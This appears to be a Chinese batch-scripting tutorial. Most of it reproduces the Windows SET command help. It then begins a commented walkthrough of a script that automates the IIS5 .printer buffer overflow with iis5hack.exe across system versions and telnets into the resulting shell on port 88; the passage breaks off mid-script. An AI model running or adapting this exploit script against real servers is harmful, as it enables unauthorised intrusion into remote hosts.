from the web , tks

[@more@]

SET [variable=[string]]

variable 指定環境變數名稱。
string 指定要指派給變數的一系列字元。

僅鍵入 SET 而不加引數，可以顯示當前的環境變數。

如果命令副檔名被啟用，SET 會如下改變:

可僅用一個變數啟用 SET 命令，等號或值不顯示所有字首匹配
SET 命令已使用的名稱的所有變數的值。例如:

SET P

會顯示所有以字母 P 打頭的變數

如果在當前環境中找不到該變數名稱， SET 命令將把 ERRORLEVEL
設定成 1。

SET 命令不允許變數名含有等號。

在 SET 命令中新增了兩個新替換:

SET /A expression
SET /P variable=[promptString]

/A 命令選項指定等號右邊的字串為被評估的數字表示式。該表示式
評估器很簡單並以遞減的優先權順序支援下列操作:

() - 分組
* / % - 算數運算子
+ - - 算數運算子
<< >> - 邏輯移位
- 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 賦值
&= ^= |= <<= >>=
, - 表示式分隔符

如果您使用任何邏輯或取餘運算子，您需要將表示式字串用
引號擴起來。在表示式中的任何非數字字串鍵作為環境變數
名稱，這些環境變數名稱的值已在使用前轉換成數字。如果指定
了一個環境變數名稱，但未在當前環境中定義，那麼值將被定為
零。這使您可以使用環境變數值做計算而不用鍵入那些 % 符號
來得到它們的值。如果 SET /A 在命令指令碼外的命令列執行的，
那麼它顯示該表示式的最後值。該分配的運算子在分配的運算子
左邊需要一個環境變數名稱。除十六進位制有 0x 字首，八進位制
有 0 字首的，數字值為十進位數字。因此， 0x12 與 18 和 022
相同。請注意八進位制公式可能很容易搞混: 08 和 09 是無效的數字，
因為 8 和 9 不是有效的八進位制位數。

/P 命令選項允許將變數數值設成使用者輸入的一行輸入。讀取輸入
行之前，顯示指定的 promptString。promptString 可以是空的。

環境變數替換已如下增強:

%PATH:str1=str2%

會擴充套件 PATH 環境變數，用 "str2" 代替擴充套件結果中的每個 "str1"。
要有效地從擴充套件結果中刪除所有的 "str1"，"str2" 可以是空的。
"str1" 可以以星號打頭；在這種情況下，"str1" 會從擴充套件結果的
開始到 str1 剩餘部分第一次出現的地方，都一直保持相配。

也可以為副檔名指定子字串。

%PATH:~10,5%

會擴充套件 PATH 環境變數，然後只使用在擴充套件結果中從第 11 個(偏
移量 10)字元開始的五個字元。如果沒有指定長度，則採用預設
值，即變數數值的餘數。如果兩個數字(偏移量和長度)都是負數，
使用的數字則是環境變數數值長度加上指定的偏移量或長度。

%PATH:~-10%

會抽取 PATH 變數的最後十個字元。

%PATH:~0,-2%

會抽取 PATH 變數的所有字元，除了最後兩個。

終於新增了延遲環境變數擴充的支援。該支援總是按預設值被
停用，但也可以透過 CMD.EXE 的 /V 命令列命令選項而被啟用/停用。
請參閱 CMD /?

考慮到讀取一行文字時所遇到的目前擴充的限制時，延遲環境
變數擴充是很有用的，而不是執行的時候。以下例子說明直接
變數擴充的問題:

set VAR=before
if "%VAR%" == "before" (
set VAR=after;
if "%VAR%" == "after" @echo If you see this, it worked
)

不會顯示訊息，因為在讀到第一個 IF 語句時，BOTH IF 語句中
的 %VAR% 會被代替；原因是: 它包含 IF 的文體，IF 是一個
複合語句。所以，複合語句中的 IF 實際上是在比較 "before" 和
"after"，這兩者永遠不會相等。同樣。以下這個例子也不會達到
預期效果:

set LIST=
for %i in (*) do set LIST=%LIST% %i
echo %LIST%

原因是，它不會在目前的目錄中建立一個檔案列表，而只是將
LIST 變數設成找到的最後一個檔案。這也是因為 %LIST% 在
FOR 語句被讀取時，只被擴充了一次；而且，那時的 LIST 變數
是空的。因此，我們真正執行的 FOR 迴圈是:

for %i in (*) do set LIST= %i

這個迴圈繼續將 LIST 設成找到的最後一個檔案。

延遲環境變數擴充允許您使用一個不同的字元(驚歎號)在執行
時間擴充環境變數。如果延遲的變數擴充被啟用，可以將上面
例子寫成以下所示，以達到預期效果:

set VAR=before
if "%VAR%" == "before" (
set VAR=after
if "!VAR!" == "after" @echo If you see this, it worked
)

set LIST=
for %i in (*) do set LIST=!LIST! %i
echo %LIST%

如果命令副檔名被啟用，有幾個動態環境變數可以被擴充套件，但
不會出現在 SET 顯示的變數列表中。每次變數數值被擴充套件時，
這些變數數值都會被動態計算。如果使用者用這些名稱中任何
一個定義變數，那個定義會替代下面描述的動態定義:

%CD% - 擴充套件到當前目錄字串。

%DATE% - 用跟 DATE 命令同樣的格式擴充套件到當前日期。

%TIME% - 用跟 TIME 命令同樣的格式擴充套件到當前時間。

%RANDOM% - 擴充套件到 0 和 32767 之間的任意十進位制數字。

%ERRORLEVEL% - 擴充套件到當前 ERRORLEVEL 數值。

%CMDEXTVERSION% - 擴充套件到當前命令處理器副檔名版本號。

%CMDCMDLINE% - 擴充套件到呼叫命令處理器的原始命令列。

第四部分：完整案例

以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理，看看他們是怎麼運作的。這裡我將列舉三個例子來詳細分析，為了保持程式的完整我的註釋會加在/*後面。

例一

這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢位的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為：

iis5hack

目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本，我們編制的批處理使用的命令格式為開始版本號可有可無。程式如下:

@echo off /*關閉命令回顯

if "%1%"=="" goto help /*判斷%1是否為空，%1為目標ip

if "%2%"=="1" goto 1 /*判斷%2是否為1，為1則跳轉標誌1

if "%2%"=="2" goto 2 /*%2為開始版本號，如果沒有設定則

if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容

ping %1 -n 1 | find "Received = 1" /*ping目標1次，從結果中發現Received = 1

if errorlevel 1 goto error /*如果返回程式碼為1則執行error段(程式碼1為沒有發現 0為發現併成功執行)

iis5hack %1 80 9 88 | find "good" /*開始溢位目標埠80 系統程式碼9 溢位後連線埠88 /*在執行結果中發現字串”good”(溢位成功後才會有字串good)

if not errorlevel 1 goto telnet /*如果沒有錯誤程式碼1（溢位成功）就執行telnet段的內容。

echo 作業系統型別 9 失敗! /否則顯示這一句

:8 /*以下程式碼內容參照上面

iis5hack %1 80 8 88 | find "good"